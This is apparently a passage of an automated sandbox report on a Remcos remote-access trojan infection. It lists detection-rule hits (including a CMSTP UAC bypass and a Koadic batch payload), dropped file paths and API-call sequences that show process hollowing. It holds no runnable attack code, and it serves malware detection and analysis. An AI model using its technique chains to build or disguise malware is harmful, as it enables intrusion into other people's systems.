Source: 00000019.00000002.2042016371.000000001447B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: Process Memory Space: sppsvc.pif PID: 3664, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: Mywiztwu.PIF PID: 6548, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: Mywiztwu.PIF PID: 3060, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: C:\Users\Public\Libraries\MywiztwuO.bat, type: DROPPED Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen
Abnormal high CPU Usage
Source: C:\Users\Public\Libraries\sppsvc.pif Process Stats: CPU usage > 49%
Contains functionality to call native functions
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683FA1538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW, 3_2_00007FF683FA1538
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F73D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess, 3_2_00007FF683F73D94
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F8898C NtQueryInformationToken, 3_2_00007FF683F8898C
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F889E4 NtQueryInformationToken,NtQueryInformationToken, 3_2_00007FF683F889E4
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F87FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError, 3_2_00007FF683F87FF8
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F888C0 NtOpenThreadToken,NtOpenProcessToken,NtClose, 3_2_00007FF683F888C0
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F9BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer, 3_2_00007FF683F9BCF0
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F88114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx, 3_2_00007FF683F88114
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683FA1538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW, 5_2_00007FF683FA1538
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F73D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess, 5_2_00007FF683F73D94
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F8898C NtQueryInformationToken, 5_2_00007FF683F8898C
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F889E4 NtQueryInformationToken,NtQueryInformationToken, 5_2_00007FF683F889E4
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F87FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError, 5_2_00007FF683F87FF8
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F888C0 NtOpenThreadToken,NtOpenProcessToken,NtClose, 5_2_00007FF683F888C0
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F9BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer, 5_2_00007FF683F9BCF0
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F88114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx, 5_2_00007FF683F88114
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66597C964 NtQuerySystemTime,RtlTimeToSecondsSince1970, 6_2_00007FF66597C964
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0284C3F8 NtCreateFile,NtWriteFile, 9_2_0284C3F8
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0284C368 NtDeleteFile, 9_2_0284C368
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0284C4DC NtOpenFile,NtReadFile, 9_2_0284C4DC
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02847968 NtAllocateVirtualMemory, 9_2_02847968
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0284C3F6 NtCreateFile,NtWriteFile, 9_2_0284C3F6
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02847966 NtAllocateVirtualMemory, 9_2_02847966
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152AD58F NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA, 9_2_152AD58F
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152ABB35 OpenProcess,NtResumeProcess,CloseHandle, 9_2_152ABB35
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152ABB09 OpenProcess,NtSuspendProcess,CloseHandle, 9_2_152ABB09
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152A32D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile, 9_2_152A32D2
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F87FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,FindCloseChangeNotification,NtSetInformationFile,DeleteFileW,GetLastError, 10_2_00007FF683F87FF8
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F88114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx, 10_2_00007FF683F88114
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683FA1538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW, 10_2_00007FF683FA1538
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F73D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess, 10_2_00007FF683F73D94
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F8898C NtQueryInformationToken, 10_2_00007FF683F8898C
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F889E4 NtQueryInformationToken,NtQueryInformationToken, 10_2_00007FF683F889E4
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F888C0 NtOpenThreadToken,NtOpenProcessToken,NtClose, 10_2_00007FF683F888C0
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F9BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer, 10_2_00007FF683F9BCF0
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F87FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,FindCloseChangeNotification,NtSetInformationFile,DeleteFileW,GetLastError, 11_2_00007FF683F87FF8
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F88114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx, 11_2_00007FF683F88114
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683FA1538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW, 11_2_00007FF683FA1538
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F73D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess, 11_2_00007FF683F73D94
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F8898C NtQueryInformationToken, 11_2_00007FF683F8898C
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F889E4 NtQueryInformationToken,NtQueryInformationToken, 11_2_00007FF683F889E4
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F888C0 NtOpenThreadToken,NtOpenProcessToken,NtClose, 11_2_00007FF683F888C0
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F9BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer, 11_2_00007FF683F9BCF0
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145632D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle, 24_2_145632D2
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1456BB09 OpenProcess,NtSuspendProcess,CloseHandle, 24_2_1456BB09
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1456BB35 OpenProcess,NtResumeProcess,CloseHandle, 24_2_1456BB35
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A6C4DC RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose, 24_2_02A6C4DC
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A67968 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory, 24_2_02A67968
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A6C3F6 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose, 24_2_02A6C3F6
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A6C3F8 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose, 24_2_02A6C3F8
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A6C368 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile, 24_2_02A6C368
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A67AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary, 24_2_02A67AC0
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A67966 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory, 24_2_02A67966
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A67F46 CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread, 24_2_02A67F46
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A67F48 CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread, 24_2_02A67F48
Contains functionality to communicate with device drivers
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F75240: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPEAX@Z,memset,CreateFileW,DeviceIoControl,memmove,CloseHandle,??_V@YAXPEAX@Z,memset,FindClose,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z, 3_2_00007FF683F75240
Contains functionality to launch a process as a different user
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F84224 InitializeProcThreadAttributeList,UpdateProcThreadAttribute,memset,memset,GetStartupInfoW,wcsrchr,lstrcmpW,SetConsoleMode,CreateProcessW,CloseHandle,CreateProcessAsUserW,_local_unwind,GetLastError,_local_unwind,_local_unwind,CloseHandle,DeleteProcThreadAttributeList,GetLastError,GetLastError,DeleteProcThreadAttributeList, 3_2_00007FF683F84224
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152A67B9 ExitWindowsEx,LoadLibraryA,GetProcAddress, 9_2_152A67B9
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145667B4 ExitWindowsEx,LoadLibraryA,GetProcAddress, 24_2_145667B4
Creates files inside the system directory
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Windows Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Windows \System32 Jump to behavior
Detected potential crypto function
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F85554 3_2_00007FF683F85554
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F84224 3_2_00007FF683F84224
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F7AA54 3_2_00007FF683F7AA54
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F80A6C 3_2_00007FF683F80A6C
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F837D8 3_2_00007FF683F837D8
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683FA1538 3_2_00007FF683FA1538
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F9D9D0 3_2_00007FF683F9D9D0
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F781D4 3_2_00007FF683F781D4
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F78DF8 3_2_00007FF683F78DF8
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F7CE10 3_2_00007FF683F7CE10
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F72220 3_2_00007FF683F72220
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F9AA30 3_2_00007FF683F9AA30
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F74A30 3_2_00007FF683F74A30
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F75240 3_2_00007FF683F75240
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F77650 3_2_00007FF683F77650
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F7D250 3_2_00007FF683F7D250
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F79E50 3_2_00007FF683F79E50
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F7E680 3_2_00007FF683F7E680
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F9EE88 3_2_00007FF683F9EE88
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F76EE4 3_2_00007FF683F76EE4
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F97F00 3_2_00007FF683F97F00
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F7372C 3_2_00007FF683F7372C
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F79B50 3_2_00007FF683F79B50
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F75B70 3_2_00007FF683F75B70
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F73F90 3_2_00007FF683F73F90
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F9AFBC 3_2_00007FF683F9AFBC
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F76BE0 3_2_00007FF683F76BE0
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F73410 3_2_00007FF683F73410
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F72C48 3_2_00007FF683F72C48
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F87854 3_2_00007FF683F87854
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F9AC4C 3_2_00007FF683F9AC4C
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F71884 3_2_00007FF683F71884
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F818D4 3_2_00007FF683F818D4
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F7B0D8 3_2_00007FF683F7B0D8
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F78510 3_2_00007FF683F78510
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F77D30 3_2_00007FF683F77D30
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F85554 5_2_00007FF683F85554
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F84224 5_2_00007FF683F84224
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F7AA54 5_2_00007FF683F7AA54
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F80A6C 5_2_00007FF683F80A6C
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F837D8 5_2_00007FF683F837D8
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683FA1538 5_2_00007FF683FA1538
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F9D9D0 5_2_00007FF683F9D9D0
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F781D4 5_2_00007FF683F781D4
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F78DF8 5_2_00007FF683F78DF8
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F7CE10 5_2_00007FF683F7CE10
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F72220 5_2_00007FF683F72220
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F9AA30 5_2_00007FF683F9AA30
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F74A30 5_2_00007FF683F74A30
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F75240 5_2_00007FF683F75240
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F77650 5_2_00007FF683F77650
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F7D250 5_2_00007FF683F7D250
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F79E50 5_2_00007FF683F79E50
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F7E680 5_2_00007FF683F7E680
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F9EE88 5_2_00007FF683F9EE88
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F76EE4 5_2_00007FF683F76EE4
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F97F00 5_2_00007FF683F97F00
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F7372C 5_2_00007FF683F7372C
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F79B50 5_2_00007FF683F79B50
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F75B70 5_2_00007FF683F75B70
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F73F90 5_2_00007FF683F73F90
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F9AFBC 5_2_00007FF683F9AFBC
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F76BE0 5_2_00007FF683F76BE0
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F73410 5_2_00007FF683F73410
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F72C48 5_2_00007FF683F72C48
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F87854 5_2_00007FF683F87854
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F9AC4C 5_2_00007FF683F9AC4C
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F71884 5_2_00007FF683F71884
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F818D4 5_2_00007FF683F818D4
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F7B0D8 5_2_00007FF683F7B0D8
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F78510 5_2_00007FF683F78510
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F77D30 5_2_00007FF683F77D30
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596F020 6_2_00007FF66596F020
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665892F38 6_2_00007FF665892F38
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596CCB8 6_2_00007FF66596CCB8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665993800 6_2_00007FF665993800
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596C120 6_2_00007FF66596C120
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596BC10 6_2_00007FF66596BC10
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EC6D0 6_2_00007FF6658EC6D0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FC6F8 6_2_00007FF6658FC6F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659885EC 6_2_00007FF6659885EC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658905E0 6_2_00007FF6658905E0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594C630 6_2_00007FF66594C630
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E8630 6_2_00007FF6658E8630
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B8570 6_2_00007FF6658B8570
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665954538 6_2_00007FF665954538
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E655C 6_2_00007FF6658E655C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659785A8 6_2_00007FF6659785A8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D2580 6_2_00007FF6658D2580
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591E57C 6_2_00007FF66591E57C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659648C4 6_2_00007FF6659648C4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659608C8 6_2_00007FF6659608C8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590E844 6_2_00007FF66590E844
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665972854 6_2_00007FF665972854
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659027D0 6_2_00007FF6659027D0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590C7F0 6_2_00007FF66590C7F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659307D0 6_2_00007FF6659307D0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665976750 6_2_00007FF665976750
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665964274 6_2_00007FF665964274
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F6280 6_2_00007FF6658F6280
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A227C 6_2_00007FF6658A227C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DE29C 6_2_00007FF6658DE29C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DC1D0 6_2_00007FF6658DC1D0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590A1E8 6_2_00007FF66590A1E8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594821C 6_2_00007FF66594821C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659941F8 6_2_00007FF6659941F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A0140 6_2_00007FF6658A0140
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665888170 6_2_00007FF665888170
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F24D4 6_2_00007FF6658F24D4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659684D8 6_2_00007FF6659684D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590E4F0 6_2_00007FF66590E4F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658944E0 6_2_00007FF6658944E0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66588C520 6_2_00007FF66588C520
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FC450 6_2_00007FF6658FC450
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FA450 6_2_00007FF6658FA450
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D8484 6_2_00007FF6658D8484
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C64A8 6_2_00007FF6658C64A8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665918488 6_2_00007FF665918488
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665960490 6_2_00007FF665960490
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659143D0 6_2_00007FF6659143D0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A4410 6_2_00007FF6658A4410
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66599842F 6_2_00007FF66599842F
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596E430 6_2_00007FF66596E430
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66588A424 6_2_00007FF66588A424
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665908414 6_2_00007FF665908414
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665916374 6_2_00007FF665916374
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596234C 6_2_00007FF66596234C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658CE3A0 6_2_00007FF6658CE3A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E0398 6_2_00007FF6658E0398
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BEED4 6_2_00007FF6658BEED4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665886EF4 6_2_00007FF665886EF4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A8F1C 6_2_00007FF6658A8F1C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665964E58 6_2_00007FF665964E58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665968EAC 6_2_00007FF665968EAC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665962D6C 6_2_00007FF665962D6C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F6D7C 6_2_00007FF6658F6D7C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AEDA4 6_2_00007FF6658AEDA4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594511C 6_2_00007FF66594511C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DD094 6_2_00007FF6658DD094
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C107C 6_2_00007FF6658C107C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66589B09C 6_2_00007FF66589B09C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665881030 6_2_00007FF665881030
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B4F90 6_2_00007FF6658B4F90
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665924F94 6_2_00007FF665924F94
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D4B30 6_2_00007FF6658D4B30
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665974A58 6_2_00007FF665974A58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596AA58 6_2_00007FF66596AA58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665954A40 6_2_00007FF665954A40
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665906A84 6_2_00007FF665906A84
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590EA7C 6_2_00007FF66590EA7C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595A9F0 6_2_00007FF66595A9F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EE9F0 6_2_00007FF6658EE9F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E09EC 6_2_00007FF6658E09EC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590AA00 6_2_00007FF66590AA00
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665882940 6_2_00007FF665882940
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D8990 6_2_00007FF6658D8990
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E6984 6_2_00007FF6658E6984
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665978CF4 6_2_00007FF665978CF4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658DCD10 6_2_00007FF6658DCD10
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665898D00 6_2_00007FF665898D00
